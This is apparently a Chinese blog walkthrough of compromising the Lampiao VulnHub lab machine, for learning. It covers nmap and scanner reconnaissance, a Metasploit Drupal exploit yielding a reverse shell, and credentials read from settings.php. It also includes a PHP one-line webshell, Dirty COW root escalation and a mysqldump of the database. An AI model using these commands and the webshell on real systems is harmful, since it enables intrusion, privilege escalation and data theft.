本文最后更新于 2024-07-26,文章内容可能已经过时。

Lampiao靶机渗透实战笔记

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

实验环境:

Windows10

kali(vmware)

Lampiao靶机(virtualbox)

靶机下载地址: https://www.vulnhub.com/entry/lampiao-1,249/

攻击渗透实现步骤:

首先Virtualbox启动运行靶机。

image-20240607021532852

一、扫描采集信息

1、获取IP地址

扫描区域网内的网段发现靶机ip信息:(如果未发现ip地址,有可能说明靶机没有生成ip地址。本人的使用的环境是kali作为攻击机在vmware运行,靶机在vitualbox运行,需提前设置好网卡并实现互通,具体细节可以查看我的另一篇文章:Vitualbox联动靶机VMware,实现互通后,如果nmap扫描没有发现ip地址,可以查看我的另外一篇解决文章:VirtualBox的vulnhub靶机无法获取ip地址解决方法

发现靶机ip为:
192.168.56.111

image-20240607002230735

2、获取端口信息

扫描靶机指定端口:

nmap -p 1-65535 192.168.56.111 

image-20240607002244138

3、漏洞扫描

发现靶机开启了22,80,1898端口

继续加参数进行扫描查看详细的信息:

-- 查看一下有么有可以用的漏洞:
nmap --script=vuln 192.168.56.111

image-20240607004743273

没有发现什么有用的信息,继续扫描:

4、获取主机信息

-A 扫描的常规端口(1000以内);

-p 扫描全端口,-sV 扫描端口对应的服务,-O 扫描靶机的系统版本,

nmap -p 1-65535 -sV -O -A 192.168.56.111 

image-20240607005157482

发现1898端口是apache服务,这台靶机是Ubuntu操作系统

尝试访问1898端口

image-20240607004546280

nmap -O 192.168.56.111  

image-20240607002154962

扫描到靶机linux内核版本为Linux 3.2-4.9

5、Nessus扫描

使用Nessus的Advanced Scan类型,并且指定扫描端口为:22,80,1898,添加Web漏洞扫描功能

最终可以获取到的信息如下:
(1)成功爆出了多个目录和文件,includes等目录,install.php,web.config等文件
(2)扫描出服务器版本为 Linux Kernel 3.13 on Ubuntu 14.04 (trusty)
(3)扫描出Web服务器使用了Drupal 7.54的CMS系统
(4)扫描出PHP版本为5.5.9,Apache版本为2.4.99
(5)其他各类参考信息,能搜集的都尽量搜集

image-20240607030620196

6、Acunetix扫描

扫描出来很多Drupal漏洞

image-20240607032500812

7、使用御剑或dirserach扫描子域名

使用御剑进行扫描:(实际不止5条,只是我给提前停止了)

image-20240607024218059

使用dirb工具扫描子域名:

dirb http://192.168.56.111:1898 /usr/share/dirb/wordlists/big.txt 

image-20240607024715933

使用dirsearch工具扫描进行扫描子域名

http://192.168.6.129:1898 查看有咩有可用的子域名信息;

dirsearch -u  http://192.168.56.111:1898/

image-20240607010024841

image-20240607010051034

可以看到很多有用的信息,尝试访问其中有robots.txt文件的路径,查看目录文件(Robots.txt),这是存放于网站根目录下的ASCII编码的协议。定义哪些可以爬虫爬取,哪些不可以爬取。它的文件名统一为小写,应放置在网站根目录下。

尝试用浏览器访问:

image-20240607010421322

访问其中的http://192.168.56.111:1898/CHANGELOG.txt

image-20240607010550920可以知晓网站使用drupal内容管理系统(cms)中间件,这是一个drupal搭建的网站,可能含有某些漏洞(免身份认证的RCE漏洞),使用kali自带工具msf,msf利用drupal的rce漏洞反弹shell:

二、使得Drupal获取Shell

启动msf:

image-20240607010753209

搜索drupal:

search drupal

image-20240607010843701

发现可以有利用的漏洞随便尝试一个

image-20240607011025224

设置攻击机ip(lhost)和监听端口(lport)受害机器ip和端口(rhost)和(rport),注意这里的rport目标端口一定要设置成1898才能成功,因为靶机把Apache默认的80端口改成了1898

image-20240607012101546

run执行:

image-20240607012154275

python提权到交互式shell:

python -c 'import pty;pty.spawn("/bin/bash")'

image-20240607012337757

查看文件和内容,进行信息收集:

image-20240607012811205

查看数据库设置文件,可以找到数据库的用户名和密码;

cat settings.php

image-20240607012951348

Getshell
进入/home目录查看有多少用户,至此,知道了用户名:tiago 和密码:Virgulino结合密码使用ssh进行登录

image-20240607013148338

image-20240607013559100

方式二

也可以写入一句木马,通过冰蝎或者蚁剑连接,然后进行数据管理,按需获取需要的数据。

使用 echo "<?phpeval($_POST['a']);?>"  > mm1.php 会被过滤掉关键字
我们在kali上创建一个 mm1.php文件,文件名不要叫mm.php,也不生效 里面写一句话木马 <?phpeval($_POST['a']);?>   
把木马文件上传到靶机

image-20240112163345238

使用蚁剑连接靶机

image-20240112163432144

image-20240112163505854

image-20240112163524066

三、使用脏牛漏洞进行提权:

脏牛提权(linux内核的一个提权漏洞,低权限用户可以在linux系统上实现本地地权,获取root权限,脏牛的CVE编号为CVE-2016-5195)

image-20240115163651377

1、测试目标主机编译环境

uname -a ==> 系统内核版本Linux lampiao 4.4.0-31-generic
python --version ==> 得知Python运行环境为:2.7.6
php -v ==> 得知PHP运行环境为:5.5.9,与Nessus扫描结果一致
gcc -v ==> 得知存在gcc编译环境,版本号为4.8.4,说明可以编译C和C++的代码

2、搜索本地漏洞库脏牛

在Kali的命令提示符下搜索:searchsploit dirty或者直接在exploit-db.com在线搜索dirty均可,存在多个脏牛漏洞,具体哪一个是可用的,需要逐步尝试。但是通常使用较为经典的 /etc/passwd 方法完成提权,也就是 40839.c(无效) 和 40847.cpp

image-20240607013908222

将图中的第三行的考到新建的文件夹:

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /root/桌面/POC/CVE-2016-5195/

image-20240607014405960

打开它:

image-20240607014616413

第一行先备份,然后把40847.cpp 里面所有内容复制:
(命令行中要是不能复制全的话可以尝试直接在文件夹右键它使用kali自带的Mousepad打开后,ctrl+A全选复制粘贴就行)

来到ssh的连接,在靶机上新建一个文件,把内容复制到文件中,然后保存退出,执行图下的命令进行编译文件

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dirtycow.cpp -lutil

image-20240607020834363

image-20240607021215702

至此,提权root账户并完成渗透成功getshell

查看根目录下的flag.txt文件,成功获取flag

9740616875908d91ddcdaa8aea3af366

image-20240607021215702

四、数据库拖库处理

在nmap扫描的时候没有发现靶机开放mysql的端口,但是在靶机的shell执行netstat命令查看可以发现mysql是开放的,应该是没有对外进行开放。
image-20240607021215702

输入mysql命令查看数据库信息
image-20240607021215702

使用mysqldump进行拖库
mysqldump是mysql备份数据库的默认命令

#查看mysqldump位置
whereis mysqldump
#使用如下命令输入刚获取到的mysql数据库用户名和密码将数据库信息写入drupal.sql
mysqldump -udrupaluser -pVirgulino drupal > drupal.sql

image-20240607021215702

退回到msf控制台,下载即可完成拖库处理。

download drupal.sql /root

新建一个数据库导入durpal.sql文件,即可恢复内容完成拖库处理。